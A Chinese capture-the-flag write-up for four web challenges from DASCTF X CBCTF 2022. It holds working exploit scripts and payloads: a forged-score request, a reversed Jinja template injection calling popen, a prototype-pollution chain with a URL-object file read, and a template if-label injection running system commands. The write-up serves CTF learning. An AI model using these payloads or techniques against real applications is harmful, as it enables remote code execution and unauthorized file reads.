DASCTF X CBCTF 2022九月挑战赛

dino3d

找给 check.php 发包的那个部分。
在这里插入图片描述
可以在开发者工具里全局搜索一下,发现是 sn 这个函数发的包,代码有点乱可以美化一下
在这里插入图片描述
在 sn 函数中看到了三个参数的设置。

sn(e, t) {
        e && t && fetch("/check.php", {
            method: "POST",
            headers: {
                "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
            },
            body: "score=" + parseInt(e).toString() + "&checkCode=" + md5(parseInt(e).toString() + t) + "&tm=" + (+new Date).toString().substring(0, 10)
        }).then(e => e.text()).then(e => alert(e))
    }

先看一下是在哪边调用的 sn ,然后一个一个的跟踪就行了。
在这里插入图片描述
搜索 checkCode ,checkCode 由一串字符串和 salt 构成,而 tm 是时间戳,score 是分数,最后就可以构造 exp了。

var checkCode = "DASxCBCTF_wElc03e" + salt;
var salt = "_wElc03e";

exp:

import requests
import hashlib
import time

url = 'http://node4.buuoj.cn:29103/check.php'

score = '100000000'
checkCode = hashlib.md5((score+'DASxCBCTF_wElc03e').encode()).hexdigest()
tm = int(time.time())
data = {
    'score': score,
    'checkCode': checkCode,
    'tm': tm
}

req = requests.post(url=url,data=data)
print(req.text)

Text Reverser

过滤了很多,但是倒置一下不仅可以绕过还可以执行,当然 {{ 是不行的,可以用 print 代替。

payload:

a = "{%print ''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('nl /flag').read()%}"[::-1]
print(a)
}%)(daer.)'galf/ ln'(]'nepop'[__slabolg__.__tini__.]231[)(__sessalcbus__.]0[__sesab__.__ssalc__.'' tnirp%{

像找可用的类在哪一个位置,可以用文本编辑器来直接找,当然位置要减一,因为数组从0开始。
在这里插入图片描述

cbshop

if(username === adminUser.username && password === adminUser.password.substring(1,6)

密码根据上面的 password === adminUser.password.substring(1,6)运行一下即可
在这里插入图片描述
在 burpsuit 里抓包登录,
在这里插入图片描述

但是想拿 flag 还需要 token,但是 user 里没有 token 属性。

var user = {
        username: req.session.username,
        money: req.session.money
    };

审计 buyApi 有原型链污染,product 是我们 json 数据转化来的,且 Object.assign 会把我们 json 格式后的请求,复制到 user 里,而这里如果我们的 user.username__proto__,这样的话就会将 product 对象合并到 order__proto__ 中,而 userorder 的原型都是 Object ,是同一个原型,当 product 中构造 token:true 时,user.token 访问为 true 即只需要登录 admin 后修改用户名为 __ptoto__

let order = {};
    if(!order[user.username]) {
        order[user.username] = {};
    }

    Object.assign(order[user.username], product);

但是读 /flag 会有 waf。
在这里插入图片描述
程序会将 json 转化为对象,那么如果将 json 中 name 的修改为一个对象 {} 发送可以看到这样的报错,也就是说不仅可以传字符串,也可以传一个 URL 实例。
在这里插入图片描述

if(JSON.stringify(product).includes("flag")) {
                Object.assign(order,{ msg: "hint: go to 'readFileSync'!!!!" });
            }else{
                user.money -= 11;
                Object.assign(order,{ msg: fs.readFileSync(product.name).toString() });
            }

/buy 下 发送 json 包

{
    "name":{
        "href": 'file:///fl%61g',
        "origin": 'null',
        "protocol": 'file:',
        "username": '',
        "password": '',
        "host": '',
        "hostname": '',
        "port": '',
        "pathname": '/fl%61g',
        "search": '',
        "searchParams": "URLSearchParams {}",
        "hash": ''
    },
    "id":2,
    "token":true
}

exp:

import requests
session = requests.Session()

url = "http://24cc995a-fe48-4570-8e0e-75ca1e9c58f2.node4.buuoj.cn:81/" # 题目url

def login():
    data = {
        "username": "admin",
        "password": "\uDE00admi"
    }
    session.post(url + "login", json = data)

def changeUsername():
    data = { "username": "__proto__" }
    session.post(url + "changeUsername", json = data)

def buyFlag():
    data = {
        "name":{
          "href": 'file:///fl%61g',
          "origin": 'null',
          "protocol": 'file:',
          "username": '',
          "password": '',
          "host": '',
          "hostname": '',
          "port": '',
          "pathname": '/fl%61g',
          "search": '',
          "searchParams": "URLSearchParams {}",
          "hash": ''
        },
        "id":2,
        "token":True
    }
    res = session.post(url + "buy", json = data)
    return res.text

if __name__ == '__main__':
    login()
    changeUsername()
    flag = buyFlag()
    print(flag)

zzz_again

不得不感叹一句,还是代码读的太少。
这边就跟着wp从后往前看吧,在 parserIfLabel 中我们绕过 danger_key 就可以执行 eval 了。
在这里插入图片描述
而 danger_key,可以用 strtolower(“SYSTEM”) 绕过。
在这里插入图片描述
而 parserIfLabel 又是由 parserCommom 解析全局公共标签 来的
在这里插入图片描述
而 parserCommom 又在 zzz_client.php 被调用,且有多处调用,那么应该选哪一个呢?
在这里插入图片描述
那么就要分析各个解析列表分页标签的函数了,这边是用 ParserTemplate::parserListPage 来解析。

因为这个 list 解析列表分页标签,
从 $_SERVER[ ‘REQUEST_URI’ ]中获取url并稍作修改,此处没有任何过滤或者编码
inc/zzz_template.php:2436 会做一些简单的拼接
inc/zzz_template.php:2437 替换掉正在执行的模板文件

一句话概括,没有任何过滤和编码,这样我们传进去的 if 标签便不会被过滤。
在这里插入图片描述
在这里插入图片描述
所以这边的 location 要为 list,到此基本结束。

payload:

/?location=list&aaa={if:=strtolower("SYSTEM")("cat /f111l00g")}{end if}&aaa=111

这里的 if 标签里加个 = 是因为,foreach 里的 if 判断,当然其他像 <>、or…都可以
在这里插入图片描述
在这里插入图片描述

reference

http://www.ctfiot.com/57949.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值